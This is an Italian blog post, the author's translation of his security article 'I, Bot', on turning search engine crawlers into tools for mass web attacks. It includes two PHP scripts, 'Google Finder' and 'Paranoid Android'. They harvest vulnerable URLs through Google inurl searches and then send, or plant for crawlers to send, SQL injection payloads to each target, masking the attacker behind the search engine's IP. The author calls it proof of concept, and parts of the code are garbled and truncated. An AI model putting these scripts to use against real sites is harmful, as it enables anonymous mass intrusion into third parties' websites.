I, Bot: Taking advantage of robots power. Traduzione in italiano.
Dato alcune richieste che mi sono state fatte da lettori e amici ho deciso di tradurre in italiano l'articolo che scrissi per playhack.net ed in seguito pubblicato su securityfocus: "I, Bot: Taking advantage of robots power."
L'articolo non è complesso, ma è molto interessante perchè evidenzia i possibili sviluppi futuri di tecnologie autonome molto potenti, i bot del web, e in particolare alcuni modi di sfruttare gli spider dei motori di ricerca, anche per exploiting molto dannosi. Il tutto è proof-of-concept ma include anche script per possibili utilizzi delle tecniche riportate.
L'articolo originare è reperibile su: http://www.securityfocus.com/archive/1/468723/30/0/threaded http://www.playhack.net
-[ SOMMARIO ]--- 0x00: Intro, let's start 0x01: Abstract 0x02: Implementation 0x03: The code: Paranoid Android 0x04: The End...
---[ 0x00: Intro, let's start ] Salve a tutti. Scusate la mia poca conoscenza dell'inglese ma non è la mia lingua madre. Spero quindi che perdonerete eventuali errori... Questo documento vuole essere una risposta per completare e implementare nella realtà le idee di Michal Zalewski in un articolo di Phrack. Lui per primo ha ipotizzato la possibilità di trarre vantaggio dalla moltitudine di robot che in ogni momento percorrono il web alla ricerca di informazioni. Prima di cominciare con la trattazione vi riporto l'introduzione dell'articolo di Zalewski (purtroppo non tradotta in italiano) per farvi comprendere la finalità dell'articolo e delle informazioni esposte.
"Consider a remote exploit that is able to compromise a remote system without sending any attack code to his victim. Consider an exploit which simply creates local file to compromise thousands of computers, and which does not involve any local resources in the attack. Welcome to the world of zero-effort exploit techniques. Welcome to the world of automation, welcome to the world of anonymous, dramatically difficult to stop attacks resulting from increasing Internet complexity.
Zero-effort exploits create their 'wishlist', and leave it somewhere in cyberspace - can be even its home host, in the place where others can find it. Others - Internet workers - hundreds of never sleeping, endlessly browsing information crawlers, intelligent agents, search engines... They come to pick this information, and - unknowingly - to attack victims. You can stop one of them, but can't stop them all. You can find out what their orders are, but you can't guess what these orders will be tomorrow, hidden somewhere in the abyss of not yet explored cyberspace.
Your private army, close at hand, picking orders you left for them on their way. You exploit them without having to compromise them. They do what they are designed for, and they do their best to accomplish it. Welcome to the new reality, where our A.I. machines can rise against us."
Ora vedremo se tutto questo è possibile nella realtà ...
---[ 0x01: Abstract ] L'idea che i motori di ricerca (primo fra tutti Google) possono essere trasformati in armi potenti nelle mani di crackers non è nuova. Google hacking, search dork, cache digging, sono tutte tecniche che permettono di sfruttare una minima parte della reale potenza dei motori, ma poche persone, almeno da quanto ho visto finora, hanno pensato o sanno come trarre vantaggio dal loro più versatile e potente componente: il robot (Nota: intendo lo spider o crawler). Lo scopo dell'articolo e proprio quello di introdurvi a quest'ottica...
Il robot che analizzeremo, ma anche come tipologia più generale, è una programma che autonomamente analizza e percorre la struttura degli ipertesti reperiti nel web e ricorsivamente visualizza e indicizza tutti i documenti che sono in essa referenziati. Nb: Quando diciamo ricorsivamente ci riferiamo a procedure che in modo euristico analizzano il DOM delle pagine per indicizzarlo e reperire altri collegamenti.
I normari browser web non sono quindi robot, sebbene le loro azioni siano simili, perchè sono manovrati da esseri umani e non richiamano automaticamenti tutti i documenti puntati da pagine visitate. (Proprio per questo è possibile distinguere il comportamento di un browser da quello di un robot e questo potrebbe portare in futuro a contromisure più efficaci...)
Ci si riferisce spesso alla tipologia di robot che stiamo analizzando, con i nomi di "spider" o "crawler". Questi nomi tuttavia possono far pensare a qualche genere di organismo dannoso, come virus o worm, mentre questo non è vero. Questi robot svolgono semplicemente il compito di indicizzare le pagine per i motori di ricerca, niente di dannoso quindi se utilizzati nel modo corretto.
In particolare le loro funzioni sono quelle di: - Indicizzazione - Validazione HTML - Validazione dei Link - Rilevazione di cambiamenti - Mirroring
Quanti robot circolano per il web? Per avere una panoramica completa è possibile visitare l'archivio dei robots: http://www.robotstxt.org/wc/active/html/type.html Noi tuttavia non andremo altre questa semplice introduzione ai bot, in quanto non è questo lo scopo dell'articolo. Qualora il proseguimento della lettura fosse difficoltoso per alcuni è possibile approfondire con semplici ricerche, magari su wikipedia...
---[ 0x02: Implementation ] Quali sono i punti di forza di un bot? Sicuramente la velocità, l'abilità di eseguire autonomamente un gran numero di operazioni di ricerca in poco tempo...
Per un mass exploiting, ad esempio, possiamo con un semplice script scrivere un bot con funzioni simili a quelle di uno spider, o sfuttare le informazioni contenute già indicizzate, contenute nel database di un motore di ricerca. In questo modo il nostro robot potrebbe portare a termine un attacco di massa con vulnerabilità web senza sprecare tempo in migliaia di bersagli inutili.
Un prima, e innoqua, implementazione e questo script. Ricerca le informazioni in un motore di ricerca come google (o qualunque preferiate) e crea un array con gli indirizzi dei siti che presentano determinate pagine. Un piccola aggiunta (un esempio è contenuto nel secondo script) e il bot potrebbe eseguire un exploit automaticamente su tutti i bersagli trovati. Anche con una bassa percentuale di successo, sarebbe comunque un arma potente...
!/usr/bin/php echo " --- Google Finder --- Automatic SaE (search-and-exploit) Bot by Crossbower ";
if ($argc<2) { echo "Usage: ".$argv[0]." Example: ".$argv[0]." /script/vuln.php?cmd= 30"; die; }
//Init... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5);
$proxy_regex = '(d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5})';
function SendPack($packet) { global $proxy, $host, $port, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy... "; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $buffer=''; while (!feof($ock)) { $buffer.=fgets($ock); } } else { $buffer=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$buffer))) { $buffer.=fread($ock,1); } } fclose($ock); return($buffer); }
//Global variables $host="www.google.com"; //Our vulnerability database ;) $path=$argv[1]; //String $port=80; //Port (Web) $proxy=""; //For your proxy $html; //Buffer for result
//Google variables $SeInurl="/search?q=inurl%3A"; //Search inurl $SeType="&btnG=Search"; //Search type if ($argv[2]) $SeNumber="&num=".$argv[2]; else $SeNumber="&num=20"; //Number of result
if ($path[0]<>'/') {print("*warning: string must begin with '/' ");} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
//$path=urlencode($path); //Url encoding
echo "1: Find Targets... "; //Google's inurl search (example): //http://www.google.com/search?q=inurl%3A%2Fscript%2Fvuln.php%3Fcmd%3D&num=30&btnG=Search
/* Make and Send Query */ $packet ="GET ".$SeInurl.$path.$SeNumber.$SeType." HTTP/1.0 "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; $html=SendPack($packet);
/* Find targets urls */ preg_match_all('#((((ht|f)tps?://)|(www|ftp).)[a-zA-Z0-9.#@:%&_/?=~-]+)#e',$html, $match); for ($i=0; $i if (strstr($match[1][$i],$path) && !strstr($match[1][$i],"google") && !strstr($match[1][$i],"cache")) echo $match[1][$i]." ";
/* This code is for exploiting targets. It's Prof of Concept and it isn't complete. Don't use for laming
$ExplString="?var=" //String for exploiting. Good for sql injection.
for ($i=0; $i if (strstr($match[1][$i],$path) && !strstr($match[1][$i],"google") && !strstr($match[1][$i],"cache")) { $host=$match[1][$i];
// Make and Send Exploit $packet ="GET ".$match[1][$i].$ExplString." HTTP/1.0 "; $packet.="Host: ".$host." "; $packet.="Connection: Close ";
$buffer=SendPack($packet);
if (strstr($buffer,$success)) //If the result is positive // Print result echo $buffer; } */
?>
---[ 0x03: The code: Paranoid Android ] Ora proveremo a implementare un robot differente. Uno script che permette, in un modo veramente nuovo, di sfruttare i crawler dei motori di ricerca.
Allora, le operazioni svolte dai crawler sono semplici: In generale, partono con una lista di URL già precedentemente analizzati, chiamata "seed". Visitando questi indirizzi il bot identifica tutti gli hyperlink in essi contenuti e li aggiunge alla lista dei nuovi URL da visitare, chiamata la "crawl frontier". Gli URL di questa "frontiera" sono quindi visitati e analizzati secondo un set di policies.
Come potete vedere, il tragitto di un crawler e le sue operazioni, dipendono fortemente dal contenuto delle pagine visitate, che possino lanciarlo nelle più diverse direzioni. Adesso chiediamoci:quanto può essere sicuro questo metodo di ricerca?
Supponiamo che lo spider visiti una pagina contenente un exploit contenuto in un link, (ad esempio una SQL injection, o in modo più subdolo un xss per alterare i risultati delle ricerche...), che richiama un certo numero di pagine di altri siti. Cosa succederà? (so già che state sorridendo...)
Ebbene lo spider visiterà le pagine exploitandole e salverà i risultati nel database del motore di ricerca. Non è fantastico?
E nei log dei server quale IP rimarrà? Naturalmente quello del motore di ricerca, cosa che rende molto difficile per l'amministratore risalire all'IP del vero colpevole: sia per la mole di siti visitati ogni giorno dagli spider, sia perchè cosa dovrebbe pensare l'amministratore che si vede bucare il sito da google? In ogni caso, anche risalendo all'IP originale e alla pagina da cui è partito il tutto, il cracker può sempre utilizzare proxy per pubblicarla. Veramente un giro infernale...
Ora, siccome un codice è meglio di cento parole, ecco il robot da me sviluppato (sebbene veramente poco testato, perdonatemi per questo) per fare tutto quello che abbiamo descritto qui sopra. E' funzionante, ma va inserito in una pagina web, in quanto non gli ho fatto generare tag che potessero danneggiare il suo funzionamento in pagine già predisposte. La lettura sarà senz'altro più esplicativa di una descrizione, e se conoscete un po' di PHP non avrete nessun problema. Ripeto comunque che è ancora da testare correttamente (e se sembrasse funzionare in modo strano è possibile recuperare il sorgente integro dalle fonti indicate all'inizio del post, non deturpate da eventuali interpretazioni del codice html di questa pagina)
Ecco a voi Paranoid Android:
//CONFIGURATION OF THE BOT: //Main settings $string="vuln.php"; //Define the url or the vulnerabilities to try $exploit="?a='SQL"; //Define the exploit for the vulnerabilities $LogFile="BotLog.html"; //Log file //Global variables $host="www.google.com"; //Our vulnerability database ;) $port=80; //Port (Web) $html; //Buffer for result //Google variables $SeInurl="/search?q=inurl%3A"; //Search inurl $SeCache="/search?q=cache%3A"; //Search cache $SeType="&btnG=Search"; //Search type $SeNumber="&num=5"; //Number of result /* Google's inurl search (example): http://www.google.com/search?q=inurl%3A%2Fscript%2Fvuln.php%3Fcmd%3D&num=30&btnG=Search */ //$string=urlencode($string); //Url encoding //CONFIGURATION END echo " --- PARANOID ANDROID --- Automatic SaE (search-and-exploit) Bot by Crossbower Crossbower*katamail*com "; //Loading... error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function SendPack($packet) { global $host, $port; $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } fputs($ock,$packet); $buffer=''; while (!feof($ock)) { $buffer.=fgets($ock); } fclose($ock); return($buffer); } //START: /* Make and Send Query */ $packet ="GET ".$SeInurl.$string.$SeNumber.$SeType." HTTP/1.0 "; $packet.="Host: ".$host." "; $packet.="Connection: Close "; $html=SendPack($packet); //Open log file $handle =fopen($LogFile,'a'); //Inizialize the log fwrite($handle," # ".date("D dS M, Y h:i a :")."
"); fwrite($handle,"Visited by: "); $Spider =$REMOTE_HOST." ".$REMOTE_ADDR." "; $Spider.=$HTTP_USER_AGENT." ".$HTTP_REFERER." "; $Spider.=$HTTP_ACCEPT_LANGUAGE."
"; fwrite($handle,$Spider); fwrite($handle,"Links (google cache): "); $Log =" $Log.="http://".$host.$SeCache;
//Find targets preg_match_all('#((((ht|f)tps?://)|(www|ftp).)[a-zA-Z0-9.#@:%&_/?=~-]+)#e',$html, $match);
for ($i=0; $i //Select the result: if ( strstr($match[1][$i],$string) && !strstr($match[1][$i],"google") && !strstr($match[1][$i],"cache")) { echo "".$match[1][$i].$exploit." ";
//Update log fwrite($handle,$Log.$match[1][$i].$exploit."">".$match[1][$i].$exploit." "); } } //Close log fwrite($handle,"
"); fclose($handle); ?> ---[ 0x06: Conclusion ] Spero che queste informazioni abbiano potuto stuzzicare la vostra fantasia e aprire la vostra mente verso la possibile evoluzione degli attacchi basati su robot in futuro...
Ecco alcuni documenti di approfondimento:
- "Against the System: Rise of the Robots" by Michal Zalewski http://www.phrack.org/archives/57/p57-0x13
- "The Anatomy of a Large-Scale Hypertextual Web Search Engine" Googlebot concept, Sergey Brin, Lawrence Page, Stanford University http://www7.scu.edu.au/programme/fullpapers/1921/com1921.htm
- Proprietary web solutions security, Michal Zalewski http://lcamtuf.coredump.cx/milpap.txt
- "A Standard for Robot Exclusion", Martijn Koster http://info.webcrawler.com/mak/projects/robots/norobots.html
- "The Web Robots Database" http://www.robotstxt.org/wc/active.html http://www.robotstxt.org/wc/active/html/type.html
- "Web Security FAQ", Lincoln D. Stein http://www.w3.org/Security/Faq/www-security-faq.html
Ok è tutto gente. Per chiarimenti, opinioni e eventualmente "insulti" (spero moderati ) postate quanti commenti volete.
{ Last Page } { Page 1 of 5 } { Next Page }
|
La mia foto
Citazione
"Coloro che sognano di giorno sanno molte cose che sfuggono a coloro che sognano di notte soltanto." Edgar Allan Poe
« January 2012 »
| Mon | Tue | Wed | Thu | Fri | Sat | Sun | | | 1 |
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 | 31 | |
Categorie
Progetti (Completati) Progetti (Incompleti) Linux Solaris Other OS Pensieri Altro Programmazione
Contenuti recenti
I, Bot: Taking advantage of robots power. Traduzione in italiano. DTrace e Solaris 10 Come scrivere programmi incomprensibili Zen e Arte della Programmazione Logging in...
Links
Storie dalla Sala Macchine Blog di Andrea Lazzarotto Blog Jonathan Schwartz, Sun Microsystem President (Lingua italiana) Ziobudda.net News
Amici
Banners
Statistiche
|